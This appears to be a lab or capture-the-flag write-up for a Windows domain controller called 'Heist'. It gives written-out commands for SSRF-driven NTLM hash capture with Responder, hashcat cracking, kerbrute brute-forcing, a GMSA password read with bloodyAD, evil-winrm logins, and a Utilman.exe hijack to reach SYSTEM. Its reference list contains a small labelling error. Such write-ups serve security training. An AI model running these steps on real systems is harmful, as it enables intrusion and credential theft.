Heist

Details

• OS: Windows
• Difficulty: Hard
• IP Address: 192.168.146.165
• Author: AETH3RON

Overview

Heist is a Windows machine that involves exploiting a web application to gain initial access via Server-Side Request Forgery (SSRF) and NTLM relaying. The foothold is established by capturing and cracking credentials leaked through the SSRF vulnerability. Lateral movement is achieved by enumerating Active Directory permissions, specifically leveraging the ability to read Group Managed Service Account (GMSA) passwords. Finally, privilege escalation to SYSTEM is accomplished by abusing the SeRestorePrivilege to perform a Utilman binary hijack.

Enumeration

Nmap

We began by performing a syn-scan to identify open ports on the target.

nmap -Pn -sS -sV -p- 192.168.146.165 -oN nmap-basic

Following the port discovery, we ran a targeted scan using default scripts to enumerate the services running on the discovered ports.

nmap -Pn -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,8080,9389 192.168.146.165 -oN nmap-common

Web Enumeration

We investigated the web server running on port 8080. Upon accessing the site, we observed a support ticket lookup interface.

To test for vulnerabilities, we attempted to determine if the server could communicate with our attacking machine. We started a local Python HTTP server:

python3 -m http.server 80

We then entered our IP address into the search bar.

The application successfully sent a request to our listener, confirming the existence of a Server-Side Request Forgery (SSRF) vulnerability.

Foothold

To leverage the SSRF vulnerability for credential harvesting, we utilized Responder. We set up the tool to listen on our tun0 interface.

responder -I tun0 -w

With Responder running, we returned to the web application and triggered the SSRF vulnerability again, pointing it to our attacker IP. The server attempted to authenticate against our rogue SMB server, allowing us to capture the NTLMv2 hash for the user enox.

We saved the captured hash to a file and used hashcat to crack it using the rockyou.txt wordlist.

hashcat -m 5600 enox.hash /usr/share/wordlists/rockyou.txt

The hash was successfully cracked, revealing the password: california.

Alternative Path with User Enumeration

Although it is not the primary attack vector, it is also possible to identify valid domain users via Kerberos enumeration. We use kerbrute to validate usernames against the domain.

./kerbrute userenum -d heist.offsec --dc 192.168.146.165 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 100

Once the username Enox is confirmed, we can perform a password brute-force attack.

./kerbrute bruteuser -d heist.offsec --dc 192.168.146.165 --safe /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt Enox

Note: This method carries a high risk of account lockout in live environments. Please use the --safe flag.

With valid credentials (enox:california), we established a shell using evil-winrm.

evil-winrm -i 192.168.146.165 -u enox -p california

Lateral Movement

To identify potential escalation paths within the domain, we uploaded SharpHound and collected data.

.\SharpHound.exe -c All --zipfilename loot.zip

After analyzing the data in BloodHound, we discovered that the user Enox has permission to read the msDS-ManagedPassword attribute of the Group Managed Service Account (GMSA) svc_apache$.

We used bloodyAD to query this object and retrieve the GMSA account’s NTLM hash.

bloodyAD --host "192.168.146.165" -d "heist.offsec" -u "enox" -p "california" get object 'svc_apache$' --attr msDS-ManagedPassword

We successfully retrieved the hash. We then used evil-winrm to authenticate as svc_apache$.

evil-winrm -i 192.168.146.165 -u svc_apache$ -H 9943473ce1243e91129513bb932e9c90

Privilege Escalation

Upon accessing the system as svc_apache$, we checked our assigned privileges.

whoami /priv

We identified the SeRestorePrivilege. This privilege allows a user to modify any file on the system, regardless of Access Control Lists (ACLs). We abused this by replacing the Ease of Access utility (Utilman.exe) with cmd.exe.

ren Utilman.exe Utilman.old
ren cmd.exe Utilman.exe

With the binary replaced, we initiated an RDP connection to the target from our attacking machine.

rdesktop 192.168.146.165

At the login screen, we triggered the “Ease of Access” button (Windows Key + U). Because we replaced the binary, this executed cmd.exe with SYSTEM privileges.

Business Impact

This attack chain exposes critical weaknesses in web application security and Active Directory service account management. The initial SSRF vulnerability allows an attacker to coerce NTLM authentication from internal services, bypassing perimeter defenses entirely. The subsequent abuse of Group Managed Service Account (GMSA) password reading permissions demonstrates how overly permissive AD delegations can grant access to highly privileged service accounts. The final exploitation of SeRestorePrivilege — enabling arbitrary file writes including system binaries — illustrates how a single compromised service account can lead to full domain controller compromise, threatening the integrity of all authentication and authorization within the organization.

References

• SSRF (Server-side request forgery):
  • https://portswigger.net/web-security/ssrf
• Impacket (Responder):
  • https://github.com/fortra/impacket
• Evil-WinRM:
  • https://github.com/Hackplayers/evil-winrm
• Group Managed Service Accounts (Microsoft):
  • https://learn.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview
• SeRestorePrivilege Abuse (Andrea Pierini):
  • https://github.com/gtworek/Priv2Admin